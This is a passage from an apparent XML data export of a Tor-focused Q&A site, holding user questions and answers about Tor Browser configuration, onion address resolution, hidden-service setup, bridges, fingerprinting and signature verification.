found&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, my firefox is anonymized. I'm getting &lt;code&gt;Congratulation&lt;/code&gt; from &lt;code&gt;check.torproject.org&lt;/code&gt;. But Inner Tor Network with onion domains is not accessible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already set: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;network.proxy.socks_remote_dns = true&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3233" LastEditorUserId="923" LastEditDate="2014-07-22T23:52:00.903" LastActivityDate="2019-11-10T19:47:05.590" Title="Firefox doesn't resolve onion addresses" Tags="|firefox|transparent-proxy|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostTypeId="2" ParentId="3596" CreationDate="2014-07-22T14:18:09.467" Score="1" Body="&lt;p&gt;The question is the same for any non-TorBrowser application you point to a Tor proxy, locally or on your network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, at least for me, that you won't understand each and every detail on what could go wrong and what could leak by doing so. Making sure DNS is resolved over Tor is a good first step but I don't want to know, for example, how Internet Explorer behaves in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pointing people to Tor Browser wherever possible is probably the safer way.&lt;/p&gt;&#xA;" OwnerUserId="3234" LastEditorUserId="923" LastEditDate="2014-07-22T23:44:44.913" LastActivityDate="2014-07-22T23:44:44.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3613" PostTypeId="1" CreationDate="2014-07-22T20:42:23.803" Score="2" ViewCount="3551" Body="&lt;p&gt;For some reason certain sites just won't load in Tor even though I know they are up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example- Modelmayhem.com always times out. even if I enable java and cookies. Are they blocking Tor or am I just doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastEditorUserId="923" LastEditDate="2014-07-22T23:55:44.033" LastActivityDate="2019-09-30T19:13:11.633" Title="Problem loading certain sites in Tor" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3614" PostTypeId="2" ParentId="3613" CreationDate="2014-07-22T22:11:16.510" Score="1" Body="&lt;p&gt;Yes, it does seem that they block Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;https://www.hidemyass.com/proxy&quot; rel=&quot;nofollow&quot;&gt;https://www.hidemyass.com/proxy&lt;/a&gt; via Tor. Just remember that they won't really hide your ass ;)&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-22T22:11:16.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3615" PostTypeId="1" CreationDate="2014-07-22T22:27:05.637" Score="1" ViewCount="324" Body="&lt;p&gt;How can I see the Vidalia Control Panel on the Mac? It used to open first, and then stay open when the browser opened.  Now it only flicks up briefly, and then disappears.&lt;/p&gt;&#xA;" OwnerUserId="3237" LastEditorUserId="923" LastEditDate="2014-07-22T23:47:39.917" LastActivityDate="2014-07-23T17:14:02.590" Title="Vidalia Disappears" Tags="|vidalia|" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-25T19:58:44.050" ContentLicense="CC BY-SA 3.0" />
  <row Id="3616" PostTypeId="2" ParentId="1442" CreationDate="2014-07-22T22:36:25.440" Score="2" Body="&lt;p&gt;I found another link to Hidden Wiki. I think now it's this one:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://kpvz7kpmcmne52qf.onion/wiki/index.php/Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://kpvz7kpmcmne52qf.onion/wiki/index.php/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The hidden wiki is not down, tor upgraded to V3 safer address type thus the address you list above now redirects to the v3 updated hidden wiki link :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="-1" LastEditDate="2022-04-23T22:10:22.683" LastActivityDate="2022-04-23T22:10:22.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3617" PostTypeId="1" AcceptedAnswerId="3619" CreationDate="2014-07-23T03:10:51.117" Score="1" ViewCount="195" Body="&lt;p&gt;Assuming the latest Tor bundle is being used, what additional steps could be taken to reduce the ease of some attacker connecting the dots among fingerprint data and getting closer to an identity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the most common things Tor users do that compromise their anonymity without them being aware it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is the use of a VPN along with Tor actually making the fingerprint more unique and easier to identify?&lt;/p&gt;&#xA;" OwnerUserId="1628" LastActivityDate="2014-07-27T16:23:33.723" Title="Minimizing risks of fingerprinting" Tags="|vpn|fingerprinting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3618" PostTypeId="2" ParentId="3586" CreationDate="2014-07-23T03:14:40.653" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14331794/make-lighttpd-listen-on-multiple-ports&quot;&gt;This StackOverflow question&lt;/a&gt; has the key to the answer. In lighttpd.conf there should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;## Document root&#xA;##&#xA;server.document-root = server_root + &quot;/HS1&quot;&#xA;$SERVER[&quot;socket&quot;] == &quot;:8080&quot; {&#xA;        server.document-root = server_root + &quot;/HS2&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in torrc, there should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/HS1&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/HS2&#xA;HiddenServicePort 8080 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2014-07-23T03:14:40.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3619" PostTypeId="2" ParentId="3617" CreationDate="2014-07-23T03:54:15.267" Score="4" Body="&lt;p&gt;Some obvious anonymity fails:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;checking your Gmail, etc.&lt;/li&gt;&#xA;&lt;li&gt;logging into your Facebook account&lt;/li&gt;&#xA;&lt;li&gt;using a fake Facebook account, but friending your true-name friends&lt;/li&gt;&#xA;&lt;li&gt;tweeting your true-name friends&lt;/li&gt;&#xA;&lt;li&gt;having the same set of interests that you do as your true name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Beyond that, it's prudent to firewall everything involving your true name from your anonymous activity. The Tor browser doesn't protect against downloaded files that phone home later when you're not using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better to use Tails or Whonix. You could also fragment your anonymous activity among multiple Whonix instances. Even if one instance gets hosed, the adversary can't see the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using VPNs through Tor wouldn't help you be anonymous. That's useful for evading website blocking, or when you need to tunnel UDP through Tor.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-23T03:54:15.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostTypeId="1" AcceptedAnswerId="4074" CreationDate="2014-07-23T10:20:06.043" Score="7" ViewCount="2834" Body="&lt;p&gt;Is there any easy way to install and run Tor with meek support on Ubuntu? &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/meek&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside it is possible to download the bundle archive I'm interested in a native way:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I need any extra software to enable meek? &lt;/li&gt;&#xA;&lt;li&gt;how to configure torrc ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="3225" LastEditDate="2015-03-29T02:23:48.960" LastActivityDate="2015-11-17T07:15:09.303" Title="How to install Tor with Meek support on Ubuntu/Debian" Tags="|debian|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostTypeId="1" AcceptedAnswerId="3623" CreationDate="2014-07-23T16:41:43.407" Score="0" ViewCount="56" Body="&lt;p&gt;There are thousands of Tor relays. And so it's arguably impractical for each relay to maintain persistent connections with all of the others, even without padding traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the other extreme, a given relay would only connect with another when it received a cell that was addressed there. Is this how Tor currently works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gather that relays perform no explicit mixing. But, beyond padding to constant cell size, are there steps to obfuscate inter-relay traffic? For example, can obfsproxy be used between relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the cell structure of individual circuits obvious in inter-relay traffic? To what extent is it obscured through TCP mechanics?&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-23T17:17:20.280" Title="Are individual circuits exposed in inter-relay traffic?" Tags="|relays|circuit|obfsproxy|mix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostTypeId="2" ParentId="3615" CreationDate="2014-07-23T17:14:02.590" Score="0" Body="&lt;p&gt;Vidalia is no longer part of the Tor Browser bundle. Instead, the most important functionality of Vidalia has been integrated with Tor Browser itself. So perhaps what you are seeing is that the connection preferences dialog of Tor Browser disappears once you've given it enough information for Tor Browser to make a connection to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the question &lt;a href=&quot;https://tor.stackexchange.com/questions/663/where-to-with-tails-when-vidalia-dies?rq=1&quot;&gt;What happened to Vidalia?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-23T17:14:02.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3623" PostTypeId="2" ParentId="3621" CreationDate="2014-07-23T17:17:20.280" Score="1" Body="&lt;p&gt;Links between Tor nodes are encrypted using TLS (on top of the telescoping onion routing circuit encryption) so the number of cells corresponding to each circuit is obscured from an external adversary. TLS also authenticates the link between nodes, to resist active attacks. It's not clear yet how to protect links better; padding might help but so far all the proposals which offer good security have prohibitively high overhead in terms of extra traffic and extra latency.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2014-07-23T17:17:20.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3624" PostTypeId="2" ParentId="3611" CreationDate="2014-07-23T17:24:17.947" Score="3" Body="&lt;p&gt;For the transparent proxy functionality of Tor to work you also need to set Tor as your DNS server, normally by setting the DNSPort torrc option to 53 and changing your /etc/resolv.conf. See the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#LocalRedirectionThroughTor&quot; rel=&quot;nofollow&quot;&gt;TransPort instructions&lt;/a&gt; for more hints. Without altering your resolver settings, DNS requests will go out to the Internet – not only leaking DNS but also failing to resolve .onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as puser has said, the transparent proxy feature is not safe for web browsing. Malicious websites can send traffic to your web browsing causing it to de-anonymise you. The Tor Browser Bundle was specifically designed to defend against these threats.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2014-07-23T17:24:17.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostTypeId="1" CreationDate="2014-07-23T19:55:19.957" Score="6" ViewCount="5988" Body="&lt;p&gt;I want to chat on a channel which is on freenode. I need to use Tor for anonymity. What IRC client should I use and how do I configure to connect to freenode?&lt;/p&gt;&#xA;" OwnerDisplayName="user3243" LastEditorUserId="923" LastEditDate="2014-07-24T01:05:57.757" LastActivityDate="2017-10-15T19:50:26.443" Title="How to connect to freenode using Tor?" Tags="|chat|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3626" PostTypeId="1" CreationDate="2014-07-23T21:52:11.170" Score="2" ViewCount="140" Body="&lt;p&gt;Once you close your Tor browser, is there any way to detect what you searched for on your computer at a later date?&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2014-10-23T08:04:08.547" Title="Search detection on Tor browser" Tags="|tor-browser-bundle|anonymity|security|configuration|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3628" PostTypeId="2" ParentId="3626" CreationDate="2014-07-24T02:32:07.500" Score="0" Body="&lt;p&gt;It depends very much on the computer you are using and if it is trustworthy. Malware or bad actor with administrative privileges may very well be able to record your Tor traffic before it's encrypted.&lt;/p&gt;&#xA;" OwnerDisplayName="user3249" LastActivityDate="2014-07-24T02:32:07.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostTypeId="1" CreationDate="2014-07-24T03:33:30.627" Score="1" ViewCount="1313" Body="&lt;p&gt;I keep trying to start Tor, but I cannot fully connect to the network. I get to this error, just because it timed out: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cameron@kali:~/Desktop/tor-browser_en-US$ ./start-tor-browser&#xA;&#xA;Launching Tor Browser Bundle for Linux in /home/cameron/Desktop/tor-browser_en-US&#xA;Jul 21 16:12:50.263 [notice] Tor v0.2.4.22 (git-345e00dc68a052fe) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1h.&#xA;[…]&#xA;Jul 21 16:12:55.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Jul 21 16:12:55.000 [notice] Bootstrapped 10%: Finishing handshake with directory server. &#xA;Jul 21 16:17:55.000 [warn] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn)&#xA;Jul 21 16:17:55.000 [warn] 1 connections have failed: &#xA;Jul 21 16:17:55.000 [warn] 1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says that I have connected to the Tor network from whatever they call the Vidalia now (not actually Vidalia, just what you see when you launch newest versions of Tor)... But I check &lt;a href=&quot;http://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;http://check.torproject.org&lt;/a&gt; and I'm not connected. I am fully able to connect to the Tor network from my Windows OS, so my ISP isn't blocking access. If you can help, either tell me how to fix it, or tell me a new method, it would mean alot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS: Kali Linux 1.0.6 x64&lt;/p&gt;&#xA;" OwnerDisplayName="user3226" LastActivityDate="2016-05-20T17:54:13.390" Title="Error Launching Tor while connecting with directory server in Kali Linux" Tags="|tor-browser-bundle|debian|torcheck|" AnswerCount="0" CommentCount="3" ClosedDate="2016-06-15T06:47:57.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostTypeId="2" ParentId="3625" CreationDate="2014-07-24T15:41:29.653" Score="3" Body="&lt;p&gt;You can't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Connection to chat.freenode.net established&#xA;!kornbluth.freenode.net *** Looking up your hostname...&#xA;!kornbluth.freenode.net *** Checking Ident&#xA;!kornbluth.freenode.net *** Found your hostname&#xA;!kornbluth.freenode.net *** No Ident response&#xA;-!- You are banned from this server- You have a host listed&#xA;          in the EFNet RBL. For more information, visit&#xA;          rbl.efnetrbl.org/?i=18.238.2.85  Please contact&#xA;          proxyscan@freenode.net with questions. (2014/7/18 19.54)&#xA;Closing Link: onions.mit.edu (*** Banned )&#xA;Connection lost to chat.freenode.net&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably, you could find a couple of exits that not yet banned at &lt;code&gt;Freenode&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in using &lt;code&gt;Tor&lt;/code&gt; with &lt;code&gt;Freenode&lt;/code&gt;, look at &lt;code&gt;proxychains&lt;/code&gt;. Take a couple of socks5 and use its as an exit points for your irc client to &lt;code&gt;Freenode&lt;/code&gt; servers after &lt;code&gt;Tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="923" LastEditDate="2014-07-24T18:06:59.277" LastActivityDate="2014-07-24T18:06:59.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3632" PostTypeId="1" AcceptedAnswerId="3673" CreationDate="2014-07-24T19:04:43.523" Score="1" ViewCount="4305" Body="&lt;p&gt;Im following &lt;a href=&quot;https://learn.adafruit.com/onion-pi&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; to make by Raspberry Pi a Tor Hotspot. &#xA;I successfully setuped a working Hotspot which is connected to internet, and now I want that all the traffic will go trough the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://learn.adafruit.com/onion-pi/install-tor&quot; rel=&quot;nofollow&quot;&gt;this part of the tutorial&lt;/a&gt;, we should install Tor using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then edit Tor configuration file using nano:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to change Tor configuration. &#xA;I &lt;strong&gt;successfuly&lt;/strong&gt; installed Tor, and the service is &lt;strong&gt;working&lt;/strong&gt;, but for some reason /etc/tor/torrc exists, but it's a blank file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using the latest version of Raspabian (Debian port), and Raspberry Pi model B.&lt;/p&gt;&#xA;" OwnerUserId="3256" LastEditorUserId="923" LastEditDate="2014-07-25T09:10:03.973" LastActivityDate="2021-11-18T06:59:08.437" Title="/etc/tor/torrc is blank" Tags="|configuration|raspberry-pi|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3633" PostTypeId="2" ParentId="3281" CreationDate="2014-07-25T07:49:16.030" Score="1" Body="&lt;p&gt;The method is the same as modifying the Tor source code without using Shadow: simply modify the .torrc files. An explanation of this is available: &lt;a href=&quot;https://tor.stackexchange.com/questions/1065/what-happened-to-torrc-in-tor-browser-bundle&quot;&gt; Editing .torrc in Tor Browser Bundle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1922" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-25T07:49:16.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3634" PostTypeId="1" CreationDate="2014-07-25T08:16:00.250" Score="1" ViewCount="209" Body="&lt;p&gt;With reference to this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/1065/what-happened-to-torrc-in-tor-browser-bundle&quot;&gt;What happened to torrc in Tor Browser Bundle?&lt;/a&gt;&#xA;, I wish to add a button/an option to the Tor Firefox Browser Window  where users can automatically input which country nodes they do not want to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixfb6.png&quot; alt=&quot;Tor Firefox Browser Window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will of course use the ExcludeNode command (for example:)&lt;code&gt;ExcludeNodes {al},{dz},{ao}&lt;/code&gt;and link with the torrc configuration file (path: /Applications/TorBrowser.app/Data/Tor/torrc) -- my objective is so that users do not have to edit the torrc configuration file themselves. What is the best way to approach this? &lt;/p&gt;&#xA;" OwnerUserId="1922" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-25T08:16:00.250" Title="How to modify the Tor Browser window for Tor Browser Bundle v.3.6.2" Tags="|tor-browser-bundle|firefox|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostTypeId="2" ParentId="3598" CreationDate="2014-07-25T09:19:24.750" Score="4" Body="&lt;p&gt;If you follow these steps below and done everything correctly,&#xA;then this will work like a charm!&#xA;This might also work on other versions of Ubuntu &amp;amp; TBB.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the latest (Tor Browser Bundle) from &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/&lt;/a&gt; and save it into the &lt;code&gt;Home&lt;/code&gt; (Downloads) directory.&lt;/li&gt;&#xA;&lt;li&gt;Create a new folder somewhere in the &lt;code&gt;Home&lt;/code&gt; directory. Example: Documents and move the &lt;code&gt;tar.xz&lt;/code&gt; package into the new folder.&lt;/li&gt;&#xA;&lt;li&gt;Right click with the mouse arrow on the &lt;code&gt;tar.xz&lt;/code&gt; package and choose: Extract here&lt;/li&gt;&#xA;&lt;li&gt;Go back to the new extracted folder &lt;code&gt;tor-browser_en-US&lt;/code&gt; and open it&lt;/li&gt;&#xA;&lt;li&gt;Right click with the mouse arrow on top of the &lt;code&gt;start-tor-browser&lt;/code&gt;. In the menu, Choose: Properties » Permissions and mark the 'Execute [X] Allow executing file as program' and hit the &lt;code&gt;Close&lt;/code&gt; button.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not close down the folder! Move the mouse arrow to the very left top of your computer. Now you will be able to see a &quot;Invisible&quot; menu that says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File | Edit | View | Search | Tools | Documents | Help&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose: Edit » Preferences » Behaviour Now mark the (Ask each time) square and hit the 'Close' button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you are ready to go!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off topic!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen alot of people recommending others to install and run&#xA;“WebUpd8“ and other things like “Polipo“&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, that's up to each one of you, however I wouldn't recommend&#xA;any third party software to run within the Tor network.&#xA;It is also said that the Tor Browser Bundle is more secure&#xA;to run, rather then installing other softwares like “Polipo“&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a thought! enjoy your Toring!&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2014-07-25T19:55:11.050" LastActivityDate="2014-07-25T19:55:11.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3636" PostTypeId="1" CreationDate="2014-07-25T11:35:57.420" Score="3" ViewCount="3290" Body="&lt;p&gt;What is the relationship between guard nodes and bridges when building Tor circuits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I connect to the Tor network through a bridge, is the bridge acting as my guard node (such that there are still only three hops/tor nodes between me and the destination), or do I connect to the guard node through the bridge (such that there are four hops, include the bridge)?&lt;/p&gt;&#xA;" OwnerUserId="3258" LastActivityDate="2014-07-27T12:29:26.037" Title="What is the relationship between guard nodes and bridges?" Tags="|circuit|bridge|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3637" PostTypeId="1" CreationDate="2014-07-25T13:13:41.060" Score="3" ViewCount="2298" Body="&lt;p&gt;I am trying to connect to Internet via Tor. Tor used to work before(even the bridges). But now  when I try to connect via bridge,getting this error,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 25 18:30:35.000 [warn] Proxy Client: unable to connect to xxx.xxx.xxx. (&quot;TTL expired&quot;)&#xA;Jul 25 18:30:07.000 [notice] Bridge at '109.105.109.163:47779' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also when I try to start without bridges(in normal mode),it stops bootstraping at 20%.&#xA;I am behind a restrictive firewall.&#xA;Why is this happening? Somebody help me,please.&lt;/p&gt;&#xA;" OwnerUserId="3259" LastEditorUserId="923" LastEditDate="2014-07-26T15:51:54.593" LastActivityDate="2015-03-09T08:31:23.463" Title="[warn]Proxy Client:unable to connect to xxx.xxx.xxx(&quot;TTL Expired&quot;)" Tags="|bridge|censorship|obfsproxy|bootstrapping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3639" PostTypeId="1" CreationDate="2014-07-25T13:47:57.200" Score="4" ViewCount="3976" Body="&lt;p&gt;I am behind a firewall. I am not able to restricted sites using tor.&#xA;But the thing is I was able to use tor before some days. &#xA;I am getting an error,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;[notice] We now have enough directory information to build circuits.&#xA;[warn] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;Connection refused&quot;)&#xA;[warn] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;Connection refused&quot;)&#xA;[notice] Our directory information is no longer up-to-date enough to build circuits: We have no usable consensus.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3259" LastEditorDisplayName="user5" LastEditDate="2014-11-16T14:47:35.817" LastActivityDate="2016-02-18T16:48:09.237" Title="Proxy Client: unable to connect to xxx.xxx.xxx (&quot;Connection refused&quot;)" Tags="|configuration|censorship|support|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3640" PostTypeId="1" CreationDate="2014-07-25T22:52:15.333" Score="2" ViewCount="1135" Body="&lt;p&gt;Say you had multiple online accounts of all kinds and you route them all through a local Tor daemon on your computer using SOCKS[45].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if running multiple separate Tor instances that offer a SOCKS port each would help to improve anonymity. I could route each client application/account through their own daemon. Hence fully separating guard nodes, circuits, web/XMPP/IRC/Mail/foo traffic from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the pros and cons regarding anonymity and security given that each of the daemons could use a distinct configuration for the intended use. Even differently compiled/patched Tor daemons come to mind.&lt;/p&gt;&#xA;" OwnerUserId="312" LastEditorUserId="923" LastEditDate="2014-07-26T15:23:08.170" LastActivityDate="2014-07-28T01:19:27.343" Title="Multiple Tor processes to separate client traffic to improve anonymity?" Tags="|anonymity|security|circuit|configuration|socks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3641" PostTypeId="1" CreationDate="2014-07-26T01:36:12.277" Score="2" ViewCount="2687" Body="&lt;p&gt;I can get 3.5 to verify, but NOT 3.6.2.  So, either the packages are contaminated, or I'm missing something.  The detailed instructions are here,  &lt;a href=&quot;https://tor.stackexchange.com/questions/2078/tor-browser-how-to-verify-signature?rq=1&quot; title=&quot;Tor Browser-how to verify signature?&quot;&gt;Tor Browser-how to verify signature?&lt;/a&gt;  and also on the Tor official site if you need them.  They work, just not for me with v3.6.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded from both the main download page and also from &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/3.6.2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/3.6.2/&lt;/a&gt; and, they all match ALL the hashes of each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[__]  torbrowser-install-3.6.2_en-US.exe         08-Jun-2014 22:10   26M&lt;br&gt;&#xA;SHA-1 = 0F1788F34F6C803025BB6F541C974DDA788DF09F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[TXT] torbrowser-install-3.6.2_en-US.exe.asc     09-Jun-2014 21:52  473&lt;br&gt;&#xA;SHA-1 = C5DB2F8EA8305472C750F452D19F7C4DF9006D0C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the checks, here are the results, and failed end result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Users\MEuser&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2.exe&quot; --keyserver x-hkp://pool.sks-keyservers.net --recv-keys 0x416F061063FEE659&lt;br&gt;&#xA;gpg: requesting key 63FEE659 from hkp server pool.sks-keyservers.net&lt;br&gt;&#xA;gpg: key 63FEE659: &quot;Erinn Clark &quot; not changed&lt;br&gt;&#xA;gpg: Total number processed: 1&lt;br&gt;&#xA;gpg:              unchanged: 1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Users\MEuser&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2.exe&quot; --fingerprint 0x416F061063FEE659&lt;br&gt;&#xA;pub   2048R/63FEE659 2003-10-16&lt;br&gt;&#xA;      Key fingerprint = 8738 A680 B84B 3031 A630  F2DB 416F 0610 63FE E659&lt;br&gt;&#xA;uid                  Erinn Clark &lt;br&gt;&#xA;uid                  Erinn Clark &lt;br&gt;&#xA;uid                  Erinn Clark 